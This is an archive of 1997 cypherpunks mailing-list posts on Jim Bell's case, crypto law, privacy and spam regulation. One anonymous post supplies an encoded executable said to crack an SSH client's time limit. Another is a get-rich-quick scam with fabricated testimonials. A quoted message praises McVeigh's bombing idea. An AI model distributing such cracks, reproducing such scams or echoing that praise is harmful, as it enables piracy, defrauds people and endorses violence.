From sasha1 at netcom.com Sun Jun 1 00:18:39 1997 From: sasha1 at netcom.com (Alexander 'Sasha' Chislenko) Date: Sun, 1 Jun 1997 00:18:39 -0700 (PDT) Subject: EXTRO-3: Extropy Institute's Third Conference on the Future Message-ID: <3.0.2.32.19970601030136.016359d0@netcom.com> Hope you may be interested... -------------------------------------------------------------------------- E X T R O 3: Extropy Institute's Third Conference on the Future August 9-10 1997, Doubletree Hotel, San Jose, CA Saturday (Aug 9) theme: The Future of the Body and Brain. Sunday (Aug 10) theme: Future Infrastructure. The conference will include presentations by Eric Drexler - nanotechnology pioneer and chairman of the Foresight Institute, Gregory Stock - Author of "Metaman", Kevin Kelly - executive editor of Wired, Max More - President of the Extropy Institute, Mark Miller - founder of Agorics, Inc., Chris Peterson, Sharon Presley, Sasha Chislenko, Robin Hanson, Anders Sandberg, and others, as well as panel sessions devoted to progress in Artificial Intelligence, Investing in the Future, and Future of Gender and Sexuality. Extropy Institute functions as a networking organization bringing together scientists, technologists, entrepreneurs, philosophers, and artists who share certain general interests including: extending life span, augmenting intelligence (both cognitive and emotional), gaining access to space, and achieving control over our own biology through genetic engineering, bioengineering, neural-computer interfaces, and molecular nanotechnology. We welcome all interested members of the public to attend and participate. Past speakers have included Marvin Minsky of MIT, Bart Kosko - fuzzy logic and neural network pioneer at USC, Roy Walford - leading gerontologist at UCLA, Hans Moravec - Director of Carnegie-Mellon�s Mobile Robotics Lab, Michael Rothschild - author of Bionomics, and Ralph Merkle - nanotechnologist at Xerox Parc. For more information, please visit or call (310) 398-0375 and leave your mailing address or email address, or send email to more at extropy.org ------------------------------------------------------------------- Alexander Chislenko Great Thinkers page: ------------------------------------------------------------------- From incrediblesecret at hotmail.com Sun Jun 1 20:17:17 1997 From: incrediblesecret at hotmail.com (Ron Franklin) Date: Sun, 1 Jun 1997 20:17:17 -0700 (PDT) Subject: $8,900 in 24 Hours Message-ID: <199706020317.UAA22131@toad.com> ************************************************************ The following information could change your life forever. If this is of no interest to you just hit reply and put remove in the subject. ************************************************************ Dear Friend, "I made $8,900 in 24 hours! You could do much better! My name is Ron Franklin. A little while ago, my life was miserable. I had just gotten married, my wife was pregnant and we were $45,000 in debt! I couldn't make the payments and the bank repossessed my car. I remember the day my wife phoned me crying. The landlord had shown up at the house with an eviction notice because we hadn't paid the rent in three and a half months. We stayed at our relatives until we found a new apartment that we could afford. Talk about embarrassing! My life sucked and it seemed to be getting worse every day. Things are different now. I own and rent out three large homes in Toronto, Ontario. My own house is worth over $700,000. My wife drives a Mercedes and I trade my car in for a new one every year. I have more money in the bank than I think I could ever spend! When I buy something I always pay cash, and let me tell you, it's a powerful feeling to finally have control of my life. I have no financial worries anymore. Besides that, my oldest boy's in college, my younger son and daughter are wonderful and my wife and I love each other very much. I couldn't ask to be happier. My life is perfect! Best of all, I have time to enjoy life. No more 50 and 60 hour weeks, working two jobs, just trying to pay the bills. No more embarrassing times when the kids needed something for school and I didn't have the money. No more fighting with my wife from the stress of never having enough money for groceries. I work about two hours a day and that's it! The rest of the time is left to have fun and do the things I really love. I finally have time to spend with my family. That's better than all the money in the world! My favorite thing is to go on picnics with my children. I also love to travel. My wife and I just got back from a three week second honeymoon in Cancun. I'm not trying to brag or impress you with my wealth. What I'm trying to do is prove to you that if I wasn't lucky enough to have learned that secret that day, I would still be poor, probably bankrupt. It was only because of that amazing money-making secret that I was able to become debt free, and very wealthy. I hate to think of where my family and I would have been without it." Knowing this secret changed my life completely. It brought me wealth, happiness, freedom and time to be with my family that I love. But most importantly, it gave me security and peace of mind. This secret will change your life too! It'll give you everything you need and allow you to solve ALL your money problems. Of course, you don't have to take my word for it. You can try it out for yourself. I wasted quite a bit of money sending away for one money- making scheme after another. I found out what you probably already know. They all turned out to be garbage. The only one who made any money were the companies who sold them. This secret is completely different. It's unlike anything you could ever imagine! I used to be "the little guy". Poor, trying to make ends meet (and losing) and with no opportunities at all. Now it's my turn to give something back to the "little guy". This secret is incredibly simple. Anyone can use it. You don't need special training or even a high school education. There's no physical labor involved. It doesn't matter how young or how old you are. It's simple enough for a child to learn in a couple hours. You can use this secret in the comfort of your own home or even while you're on vacation! I'll tell you more about this amazing secret: With this secret the money rolls in FAST. If you can follow easy instructions you can get started in a single afternoon and have CASH in your pocket the very next morning! In fact, this is probably the fastest, most honest, legal method of making money ever invented! It's risk-free and it's not a risky gamble. Everything you do is proven and GUARANTEED. The method is so simple, it would be hard to make a mistake even if you tried! This is a VERY safe way to make cash. Making money with this secret is a snap. You'll be amazed at how easy it really is. You can work or not work anytime you want. You're not tied down to anything or anybody. You're the boss and you make your own hours! One of the nicest things about this secret is that anyone can do it in their own home. No office. No equipment. No staff. No overhead. NO hassles. It doesn't even matter where you live. It's perfect for students, homemakers, kids, seniors and anyone who likes the idea of being insanely rich with very little work! It's also perfect if you're just looking for a little bit of extra part-time cash. This secret will blow your mind! When you use it to make money you never have to try to convince anybody of anything. There's no door-to-door selling, no telemarketing and no real estate or anything else that involves personal contact. So you don't have to be a sales person or know anything about selling! It has nothing to do with multi-level marketing, credit card techniques, gambling, chain letters, government loans, banking systems, junk mail, party plans, or anything else you may have heard about before! This secret is completely legal and honest. You'll sleep good at night knowing that you're providing a very valuable service. You'll be proud and excited to tell friends and family what you're doing. It'll only take you an hour or two to learn this fascinating money-making secret. After that everything's almost automatic. After you learn the secret you'll only have to work four or five hours per week! I will share with you a secret VERY few people know. Most of those who do know this secret are MILLIONAIRES! Once you know it I predict your life will never, ever be the same again! And by following the step-by-step instructions I will send you, in just a few hours you can earn an extra couple thousand dollars. You're probably sceptical. I wouldn't expect less from you. It shows you have good business sense. One young man learned this secret, tried it his first day and made $2,000 profit in just a few hours. "This is the ultimate lazy guys way to get rich. You'll like how easy it is and you could easily do better than $2000 with the easy instructions he'll send you. Thanks Mike." "I never really believed your success stories and I never thought I'd be one of them...using your secret, in just 8 months I made over $203,000...made over $22,000 in the last two and a half weeks! It's simple, easy, very fast...Mr. Franklin, thank you for your Incredible Secret!" "It's good and honest money. The secret could make you more money then you'd know what to with, though I'm sure you could figure out something! I was supplied with detailed instructions and I had cash two days later. Thank you Mike!" "I'm amazed at my success! By using your secret I made over $600,000 in five months. That's more than 35 times what I used to make in a year! (I quit my job after using this secret for 2 weeks!) I was waiting for this miracle! Thank you Micheal Franklin." "Your secret is awesome! I never expected something so different and easy that will actually make me an easy $3,000.00 on a weekly basis. A GREAT many thanks to you." "This is without a doubt the most powerful millionaire-maker I've ever seen!" "Two years ago, I sent away for your Incredible Wealth building Secret in sheer desperation for a better life... One year ago from using your secret a man called and offered me a partnership... I grossed over $160,000 cash in seven months! You are a God sent miracle to me. Thank you Micheal and God Bless you and your family." "He does more than give general ideas. He gives people an easy to follow, A to Z plan to make big money." "I didn't believe you when you said the secret could make me money by the next morning. Man was I wrong! By the VERY NEXT MORNING $7200 poured in, in less than 24 hours!! I am still dumbfounded to tell you the honest truth. To anyone who is considering getting this secret: Just Do It! I was sceptical at first but trust me it's well worth it! To The Incredible Secret of Wealth: Thank you for making me rich rich rich! I'm not done using this secret yet! As you can see, I've found something pretty good. I think I've come across the sweetest money-making secret you could ever imagine. Remember- I GUARANTEE IT! Usually it takes big money to make big money. This is the exception. But you don't have to start small and you don't have to stay small. The size of your profits are totally up to you. And there you have it. I've explained this remarkable secret in a special money-making plan. I call it "THE INCREDIBLE SECRET TO WEALTH". Some call it a miracle. Others call it "the secret that changed my life and gave me astounding wealth." You'll probably call it "The Money Secret". You'll learn everything you need to know step-by-step. So you too can put this amazing money making secret to work for you and make ALL THE MONEY YOU WANT. Either you solve ALL your money problems with this secret WITHIN 30 DAYS! or I'll give you your money back. So if you have given this an honest effort by following the simple A-Z instructions, and you have not made any money within 30 days you can send it back to me and I will return your money back no questions asked. That is how sure I am that this will work for YOU!! So you have nothing to lose by trying this out!! So if you'd like to make a quick ten grand in 24 hours this is just for you! I GUARANTEE IT! And with my guarantee there's absolutely NO RISK ON YOUR PART! To order simply write your name and address on a piece of paper, enclose your check, money order or cash for ONLY $25.00 and send it to: ************************************************************ S.R.B. Marketing 6292-180 Street, Edmonton, AB CAN, T5T 2T2 *********************************************************** Make checks and money orders out to ***S.R.B. Marketing***. That's all there is to it. I'll send you The Incredible Secret to Wealth by return mail, along with a copy of my money-back guarantee. But my supply is very limited! So send in your order quickly. A month from today you will be nothing more than 30 days older. Or you can be free of ALL your money problems. It's your decision. Put that way, what's $25.00? P.S. When my supply is gone, I will return all orders. From declan at pathfinder.com Sun Jun 1 07:41:22 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Sun, 1 Jun 1997 22:41:22 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: <3.0.2.32.19970531125318.00760494@netcom13.netcom.com> Message-ID: On Sat, 31 May 1997, Lucky Green wrote: > If that was the extend of the story, Bell wouldn't still be in jail. The > USC violations above may be the official charge, but they hardly justify > keeping somebody locked up without bail. Bell is still in jail because he The government is trying to persuade the judge that Bell is about to blow up a Federal building, or poison water supplies, or something. So far the judge has agreed and refused to consent to even bail conditions like house arrest and radio bracelet. Bell could very well stay in jail for the entirety of his trial. -Declan From declan at pathfinder.com Sun Jun 1 07:49:04 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Sun, 1 Jun 1997 22:49:04 +0800 Subject: You've got to be kidding.... In-Reply-To: Message-ID: A few points: * I wrote about this in my Netly piece on Friday: http://cgi.pathfinder.com/netly/opinion/0,1042,997,00.html * The state attorney declined to prosecute, saying the law was unconstitutional. He was talking primarily about the "defamation" law, not the gang law, but I think he realized both are. * Cypherpunks should pay attention to laws like this, not because of the threat of indictment, but because of the implications for anonymity. Read my article. The Florida law criminalizes truthful anonymous speech; it also required a True Name and True Mailing Address. -Declan On Sat, 31 May 1997, Tim May wrote: > > Someone forwarded this item to me. As he didn't cc: the list on it, I'll > protect his identity. Could be he's understandably worried about who's > reading the list. > > This item indicates that the same team that busted this "gang" could indict > several of us as "co-conspirators" (isn't this a redundancy?) along with > Bell. > > Lock and load. > > --Tim > > > >Date: Sat, 31 May 1997 21:23:20 -0700 > >To: tcmay at got.net > >From: xxxxx > >Subject: You've got to be kidding.... > > > >Tim -- > > > >For your grist of stupid, selectively enforced laws: > >(from comp.risks 19.20) > > > >>Date: Fri, 30 May 1997 03:45:10 -0400 > >>From: David Kennedy <76702.3557 at compuserve.com> > >>Subject: Florida "Computer Gang" Members Arrested > >> > >>Courtesy of United Press International via CompuServe's Executive News > >>Service: > >> > >>> Florida computer gang members arrested > >> > >>> LECANTO, Fla., 22 May 1997 (UPI) -- Florida authorities have arrested two > >>> alleged leaders of a so-called computer "gang" they say set up a Web site > >>> that accused a teacher of having a homosexual affair with a student. The > >>> Web site displayed a photograph of the student's prom picture with the > >>> teacher's head superimposed onto the head of the boy's female date. > >> > >>:: Two 19 year olds were charged with "publication of material that exposes > >>a person to hatred, contempt or ridicule." Because they worked together, > >>anti-gang laws apply upgrading the charges from misdemeanors to felonies. > >> > >>:: The victim-teacher has been the target of harassment before, another > >>former student was sentenced to 6 months' probation last December. > >> > >>Dave Kennedy [CISSP] Research Team Chief, National Computer Security Assoc. > > > > There's something wrong when I'm a felon under an increasing number of laws. > Only one response to the key grabbers is warranted: "Death to Tyrants!" > ---------:---------:---------:---------:---------:---------:---------:---- > Timothy C. May | Crypto Anarchy: encryption, digital money, > tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero > W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, > Higher Power: 2^1398269 | black markets, collapse of governments. > "National borders aren't even speed bumps on the information superhighway." > > > > > From rotenberg at epic.org Sun Jun 1 08:07:11 1997 From: rotenberg at epic.org (Marc Rotenberg) Date: Sun, 1 Jun 1997 23:07:11 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: Message-ID: At 11:27 PM -0400 5/31/97, Tim May wrote: >At 7:27 PM -0700 5/31/97, Marc Rotenberg wrote: >One of the biggest problems with critics of libertarian theories is that >they falsely claim libertarians believe that each and every action during >each and every day by each and every agent involves complex contracts. > >What we are talking about here is whether there's a need for new laws to, >using your specific example, stop companies from asking for personal >information. You argued that such safeguards were routiney found in freely negotiated contracts. I responded that such safeguards were more likely found in legal arrangements, industry standards, and professional obligations. >What libertarians, and hopefully other freedom-seeking people, would argue >is that government should not be interjected into mutual negotiations if at >all possible. This applies to Alice and Bob negotiating some transaction, >and it applies to Alice and Safeway, and to Safeway and Apple. Again, I don't disagree with the aspiration. We simply disagree on how well it works on practice. > >Citing the straw man that libertarians believe every driver must negotiate >a contract about how his brakes are to work has nothing to do with this >basic point. > It has a lot to do with privacy standards on the net, the role of markets, and the way safeguards will develop. > >As for the "rights of the people to use strong crypto," there are currently >no restrictions *whatsoever* on crypto use. SAFE will, of course, add a >criminalization angle to crypto use, which is a step in the wrong >direction. Once the Legislature gets its hands on crypto use at all, the >way is made easier for later extensions and clarifications of the rules. >Imagine the equivalent situation with free speech or religion: "No American >may be denied access to the religious beliefs of his choosing, but the >practice of non-Christian religious acts in connection with another crime >will expose the pagan to a mandatory 5-year increase in imprisonment." That's a fair criticism. EPIC and ACLU are still prepared to oppose SAFE. For the record, EPIC was the group that opposed the criminaliation provision, and organized (with the ACLU) the effort to change it. We had a big problem with other DC groups who (a) didn't want to even publicize the issue and (b) discouraged companies and individuals from supporting our effort. But I'm not thrilled about it, and I won't bullshit you that it was some brilliant compromise. We did as much as we could. We'll try to do more. > >A better tack is to take a rejectionist, no compromise stance toward any >proposed legislation which would in any way limit or criminalize crypto >use. Rely on the First Amendment. We may still do this. And it's exactly what we did during the debate on Digital Telephony. > >This would leave EPIC, VTW, CPSR, EFF, etc. with very little to do, of >course, but that is as it should be. IF NSA, FBI etc are going to being around, we'll be around. And who, btw, do you think is going to bring those First Amendment cases to protect Constitutional rights? > >But, then, I quit the NRA because they were too namby pamby about the >Second Amendment. I place more faith in my assault rifles than I do in the >criminals in D.C. McVeigh may have killed too many innocents, looking back >on OKC, but he generally had the right idea about hitting the power centers >of the police state. You lost me on that one. I've lived in one of the highest crime districts in the country. I've had handguns waved in my face. I've seen children lying dead in the street from gunfine. I have no sympathy at all for the turret-hole view of the world. But I accept your right to express your views and will defend that right against any government that seeks to limit your rights. That is my view of what the First Amendment is about. Marc Rotenberg. ================================================================== Marc Rotenberg, director * +1 202 544 9240 (tel) Electronic Privacy Information Center * +1 202 547 5482 (fax) 666 Pennsylvania Ave., SE Suite 301 * rotenberg at epic.org Washington, DC 20003 USA + http://www.epic.org ================================================================== From ichudov at algebra.com Sun Jun 1 08:13:08 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Sun, 1 Jun 1997 23:13:08 +0800 Subject: EXTRO-3: Extropy Institute's Third Conference on the Future (fwd) Message-ID: <199706011502.KAA07737@manifold.algebra.com> ----- Forwarded message from Alexander 'Sasha' Chislenko ----- >From cpunks at manifold.algebra.com Sun Jun 1 02:24:20 1997 Message-Id: <3.0.2.32.19970601030136.016359d0 at netcom.com> X-Sender: sasha1 at netcom.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32) Date: Sun, 01 Jun 1997 03:01:36 -0400 To: (Recipient list suppressed) From: "Alexander 'Sasha' Chislenko" Subject: EXTRO-3: Extropy Institute's Third Conference on the Future Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-cypherpunks at toad.com Precedence: bulk Hope you may be interested... -------------------------------------------------------------------------- E X T R O 3: Extropy Institute's Third Conference on the Future August 9-10 1997, Doubletree Hotel, San Jose, CA Saturday (Aug 9) theme: The Future of the Body and Brain. Sunday (Aug 10) theme: Future Infrastructure. The conference will include presentations by Eric Drexler - nanotechnology pioneer and chairman of the Foresight Institute, Gregory Stock - Author of "Metaman", Kevin Kelly - executive editor of Wired, Max More - President of the Extropy Institute, Mark Miller - founder of Agorics, Inc., Chris Peterson, Sharon Presley, Sasha Chislenko, Robin Hanson, Anders Sandberg, and others, as well as panel sessions devoted to progress in Artificial Intelligence, Investing in the Future, and Future of Gender and Sexuality. Extropy Institute functions as a networking organization bringing together scientists, technologists, entrepreneurs, philosophers, and artists who share certain general interests including: extending life span, augmenting intelligence (both cognitive and emotional), gaining access to space, and achieving control over our own biology through genetic engineering, bioengineering, neural-computer interfaces, and molecular nanotechnology. We welcome all interested members of the public to attend and participate. Past speakers have included Marvin Minsky of MIT, Bart Kosko - fuzzy logic and neural network pioneer at USC, Roy Walford - leading gerontologist at UCLA, Hans Moravec - Director of Carnegie-Mellon�s Mobile Robotics Lab, Michael Rothschild - author of Bionomics, and Ralph Merkle - nanotechnologist at Xerox Parc. For more information, please visit or call (310) 398-0375 and leave your mailing address or email address, or send email to more at extropy.org ------------------------------------------------------------------- Alexander Chislenko Great Thinkers page: ------------------------------------------------------------------- ----- End of forwarded message from Alexander 'Sasha' Chislenko ----- From nobody at secret.squirrel.owl.de Sun Jun 1 08:15:30 1997 From: nobody at secret.squirrel.owl.de (Secret Squirrel) Date: Sun, 1 Jun 1997 23:15:30 +0800 Subject: No Subject Message-ID: <19970601142025.3960.qmail@squirrel.owl.de> http://www.datafellows.com/gallery/ F-Secure SSH 1.0 Windows Client pc_ssh.com - removes time-limit. Copy into SSH-directory and execute. pc_ssh.com in ASCII: -----BEGIN PGP MESSAGE----- Version: 2.6.2 owFbczSJqyA5vrg4Qy85P5cBCPYlML6wZ9hiu4FpVwjjWcUihcUxjFucNjB0y8Uw 7joTsJOB4aziFoedTAy74oDSr7kn7OtlfMHHsMXnrOK+5YwvWMCsLhG3hl8MJWxb mIBKPh0ODvbQc41wBZr+uvSfgptucGpyaVGqAlBYocxQz0DBuSgxOVtBV1ehKrMo OT9PQV+hINnSnJeL4Z+Ca1FRfpGCf0FqXmZeugLUILCMc35uQU5qSaoikAcA =KINJ -----END PGP MESSAGE----- WarezMonger From ichudov at algebra.com Sun Jun 1 09:48:50 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Mon, 2 Jun 1997 00:48:50 +0800 Subject: Jim Bell Defense fund Message-ID: <199706011641.LAA08290@manifold.algebra.com> I guess everyone has forgotten about Jim Bell, but he is in no less need of help than he used to be. I would like to know how to help him, and suggest to organize his legal defense fund. igor From alan at ctrl-alt-del.com Sun Jun 1 10:07:25 1997 From: alan at ctrl-alt-del.com (Alan Olsen) Date: Mon, 2 Jun 1997 01:07:25 +0800 Subject: Jim Bell Defense fund In-Reply-To: <199706011641.LAA08290@manifold.algebra.com> Message-ID: <3.0.2.32.19970601095227.00b519d0@mail.teleport.com> At 11:41 AM 6/1/97 -0500, Igor Chudov @ home wrote: >I guess everyone has forgotten about Jim Bell, but he is in no less >need of help than he used to be. Coverage locally has been pretty nil as of late. I guess they are hopeing that people will just forget. >I would like to know how to help him, and suggest to organize his >legal defense fund. I am willing to contibute to it. Anyone out there willing to keep track of the money and make sure it gets to Jim? I am resisting the temptation (OK, not very much) that we should set up his defense fund ala AP betting, but at this point it is probably not that funny... --- | "That'll make it hot for them!" - Guy Grand | |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | | mankind free in one-key-steganography-privacy!" | Ignore the man | |`finger -l alano at teleport.com` for PGP 2.6.2 key | behind the keyboard.| | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| From kent at songbird.com Sun Jun 1 12:06:31 1997 From: kent at songbird.com (Kent Crispin) Date: Mon, 2 Jun 1997 03:06:31 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: Message-ID: <19970601114728.28561@bywater.songbird.com> On Sat, May 31, 1997 at 04:20:55PM -0500, Dr.Dimitri Vulis KOTM wrote: > This law is unenforceable. If you want to rent porn videos and you have > some brains (the two may be mutually exclusive...) you'd pay cash and > make the transaction totally anonymous. > > Should there also be a law against grocers keeping track of who's buying what? Brain fade, Dimitri. Anybody who allowed anonymous rental of videos would be out of business shortly as their stock would never be returned. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From ichudov at algebra.com Sun Jun 1 12:31:13 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Mon, 2 Jun 1997 03:31:13 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: <19970601114728.28561@bywater.songbird.com> Message-ID: <199706011918.OAA10829@manifold.algebra.com> Kent Crispin wrote: > > On Sat, May 31, 1997 at 04:20:55PM -0500, Dr.Dimitri Vulis KOTM wrote: > > This law is unenforceable. If you want to rent porn videos and you have > > some brains (the two may be mutually exclusive...) you'd pay cash and > > make the transaction totally anonymous. > > > > Should there also be a law against grocers keeping track of who's buying what? > > Brain fade, Dimitri. Anybody who allowed anonymous rental of videos > would be out of business shortly as their stock would never be > returned. Kent, the rental shops may ask for a collateral that is returned when the renter brings the videos back. - Igor. From whgiii at amaranth.com Sun Jun 1 13:20:46 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Mon, 2 Jun 1997 04:20:46 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: <199706011918.OAA10829@manifold.algebra.com> Message-ID: <199706012003.PAA03975@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <199706011918.OAA10829 at manifold.algebra.com>, on 06/01/97 at 02:18 PM, ichudov at algebra.com (Igor Chudov @ home) said: >Kent Crispin wrote: >> >> On Sat, May 31, 1997 at 04:20:55PM -0500, Dr.Dimitri Vulis KOTM wrote: >> > This law is unenforceable. If you want to rent porn videos and you have >> > some brains (the two may be mutually exclusive...) you'd pay cash and >> > make the transaction totally anonymous. >> > >> > Should there also be a law against grocers keeping track of who's buying what? >> >> Brain fade, Dimitri. Anybody who allowed anonymous rental of videos >> would be out of business shortly as their stock would never be >> returned. >Kent, the rental shops may ask for a collateral that is returned when the >renter brings the videos back. Have pitty on poor Kent Igor, After lifelong support of Socialism and worship of the STATE has left him incapable of rational thought on such matters. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCUAwUBM5HWRY9Co1n+aLhhAQGGYwP3YwjkVfg3p7T2IwmFVMZnGOuIqOjufG3Q JoMpzpcD+YgUKDtoAIWul1/sKoPDN1SbCXPcvzsWXCdVSDwCkSs8IR1Eb31iuD5h h+E9AoJXavQvfNHzeE01AGn0wgMUe1GeIOrnCJOOdQzMfM3yfTRVFLIVNUZ5mspD uOcPgCguJA== =kmdJ -----END PGP SIGNATURE----- From gbroiles at netbox.com Sun Jun 1 13:22:38 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Mon, 2 Jun 1997 04:22:38 +0800 Subject: Jim Bell defense fund Message-ID: <3.0.2.32.19970601131447.006b15c0@postoffice.pacbell.net> Has anyone talked to Jim to find out what he wants? I wouldn't be surprised if he wants to represent himself without the assistance/interference of an attorney. (I think that'd be a big mistake, but he's an adult and should be allowed to make his own choices.) Is he currently represented by a court-appointed attorney? Are they working out of the federal public defender's office, or are they in private practice? I'm not familiar with the Tacoma federal PD's office (nor am I sure that one exists) but the federal public defenders in Oregon typically did a pretty good job for their clients, frequently better than that available from the cheaper/less experienced end of the spectrum in the private bar. A court-appointed attorney may also be more familiar with/comfortable with clients who want to take an active part in their defense. (Sometimes, defendants will choose to represent themseves, but with the aid of an attorney to help them understand courtroom protocol/procedure, and to give help/advice with the trickier issues.) It's also possible that organizing only a small defense fund will turn out to be worse than no defense fund, if it eliminates his eligibility for an appointed attorney but fails to generate enough money to attract a good private attorney. If the government really wants to screw him, forcing him to represent himself or be represented by someone inexperienced or uninterested or underfunded seems like a good way to do that. My hunch is that an attorney from the private bar will want somewhere between $15K and $30K to take this to trial, could be higher. Someone who asks for a lot less probably doesn't intend to do very much work, unless they're doing it on a pro bono basis. If people are serious about this, I suggest getting in touch with Jim or his family to see if it's actually helpful/useful, and setting it up such that any money raised goes directly to the attorney, not to Jim or his family. (not because I don't think they're trustworthy, but because gaining extra cash/assets may make him ineligible for a court-appointed attorney - but if the cash/assets aren't available to him because they're being held by some unconnected cypherpunk, it'd be much harder/impossible to deny him appointed counsel.) Also, given Jim's tax status, it's possible that the IRS will try to seize/levy against any funds that come into Jim's control, which would turn the "defense fund" into the "pay Jim's taxes fund". -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From dlv at bwalk.dm.com Sun Jun 1 14:17:44 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Mon, 2 Jun 1997 05:17:44 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: <19970601114728.28561@bywater.songbird.com> Message-ID: <8y1m8D13w165w@bwalk.dm.com> Kent Crispin writes: > On Sat, May 31, 1997 at 04:20:55PM -0500, Dr.Dimitri Vulis KOTM wrote: > > This law is unenforceable. If you want to rent porn videos and you have > > some brains (the two may be mutually exclusive...) you'd pay cash and > > make the transaction totally anonymous. > > > > Should there also be a law against grocers keeping track of who's buying wh > > Brain fade, Dimitri. Anybody who allowed anonymous rental of videos > would be out of business shortly as their stock would never be > returned. Kent, you're a lying asshole. It's been a while since I rented any videos (got better uses for my time), but one used to be able to plonk down $50 cash, rent a video, bring it back w/ bearer receipt, and get one's $50 back (minus the $1-2 for the rental) If someone decides keep the used video, the cash deposit more than covers the replacement. I believe this mode of operation is still very common in NYC, where lots of folks don't have credit cards, don't have permanent addresses, or don't want their viewing habits known. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From pooh at efga.org Sun Jun 1 14:58:02 1997 From: pooh at efga.org (Robert A. Costner) Date: Mon, 2 Jun 1997 05:58:02 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: <3.0.2.32.19970531101055.00789c88@keystone.intergate.net> Message-ID: <3.0.2.32.19970601174739.033dda20@keystone.intergate.net> -----BEGIN PGP SIGNED MESSAGE----- Myself, and EFGA supports no anti-spam law at this time, nor have we suggested the world needs one. Over the last year we have repeatedly said that existing laws may prove to be sufficent. What is clear is that there has been little attempt at using today's laws against spam and failing. If EFGA has a position, it is that first the current laws should be tested against spam. No new laws should be proposed until today's laws can be shown to be useless against the problem. To the contrary, Cyberpromotions has been to court five times, and has lost five times. These are not internet issues as much as they are fraud, consumer protection, and commerce issues. Education of applicability of existing laws may be more effective than new laws. New laws are being proposed. And I feel comfortable commenting on the faults of a law, or of it's languge. I can suggest what is wrong with a law, or what it lacks without supporting a flawed bill. DATA GATHERING The original issue is one of data collection. For many, this is the opt-in, opt-out argument. For others it is adherence to a convention such as the robots.txt file found on web pages. While there is nothing wrong with data harvesting in it's self, what one does with the info may be called into question. The currently proposed bills look at various areas. 1. Identification 2. Content 3. Data Collection procedures 4. Tonnage/automated processing Data Collection procedures may be less restrictive than identification requirements, or content bans. There is a law precedent in the Telephone Consumer Protection Act (TCPA) of 1991 to handle each of these issues. For data collection, the TCPA requires a removal database be maintained and an opt-out strategy be employed. One of the largest problems with "spam" is that the data collection strategies employed today are deceptive, fraudulent, and do not come close to fitting the model carefully considered in the TCPA. The reason the TCPA is carefully considered is that once the law allowed for the promulgation of rules, the FCC had a series of public comment periods and promoted rules that highly favored privacy while trying to balance the fair practices of telemarketers. Unfortunately, with spam, most spammers do not have "fair practices". If is highly likely that the spam question could be quickly addressed and more clearly defined without new laws simply by a comment period and the promulgation of new rules. Additional comments after Tim's quote.... At 09:28 AM 5/31/97 -0700, Tim May wrote: >If it is "ILLEGAL" (your emphasis) for someone to call me on the phone for >spamming, why then do I get so many such calls? Why aren't the prisons full? > >(Answer: Because it is NOT illegal for people to call me, or for me to call >others, or for me to even call thousands of others. True, it is possible >for me (I disagree with these laws, though, and cite the First again) for >me to _ask_ that they not call me. Maybe even jump through hoops and get an >injunction. ) > >There are laws on the books which prohibit fully automated calls with no >humans in the loop, but these are easily bypassed. (E.g., the boiler-room >minimum wage employees in Detroit and Chicago who pick up the phone several >seconds after I have picked up and then start a barely understandable >spiel...I've prettty much taken to hanging up if no human voice appears >within the first couple of seconds, as I know I am being handed off to the >next available "human.") Well, prisons *are* full. Many of the inmates are telemarketers. But this is not because of telemarketing laws. You are confusing "illegal" with "criminal". The laws we refer to are civil law, not criminal law. 47 USC 227 is a federal civil law. It also allows for state Attorney Generals to file civil suits on behalf of it's citizens. This, if not taken to extreme, is a proper function of gov't. To protect citizens from that which they cannot protect themselves. Why do you get such calls? The existing laws not only apply to fully automatic calls, but predictive dialing systems such as you mention and pure manual voice calls. I cannot answer why you get the calls. Perhaps you have not requested to be in the national "don't call me database". Perhaps your callers just use illegal data collection procedures. I'll summarize some of the law to you. The Telephone Consumer Protection Act (TCPA) of 1991 made effective December 1992 the following: 1. Calls only allowed 8am to 9pm 2. Lists must be maintained of "do not want to be called" 3. Telemarketers must identify themselves - address & phone number 4. Employees must know rules & know how to use remove list. Additional info can be found at http://www.fcc.gov/Bureaus/Common_Carrier/Orders/1995/fcc95310.txt Quote from the Act: Because unrestricted telemarketing can be an invasion of consumer privacy, and even a risk to public safety, Congress found that a federal law is necessary to control telemarketing practices. SPAM vs TELEMARKETING A telemarketing operation has a high level of entry. Not that high, but phone lines, desks, office space, employees. etc must all be provisioned and paid for. The level of entry for being a spammer is much, much lower. For some it may be a dedicated connection, but millions of spams can still be sent with a dial-up account. Accordingly, EFGA sees that the number of spammers could grow to be far more than the number of 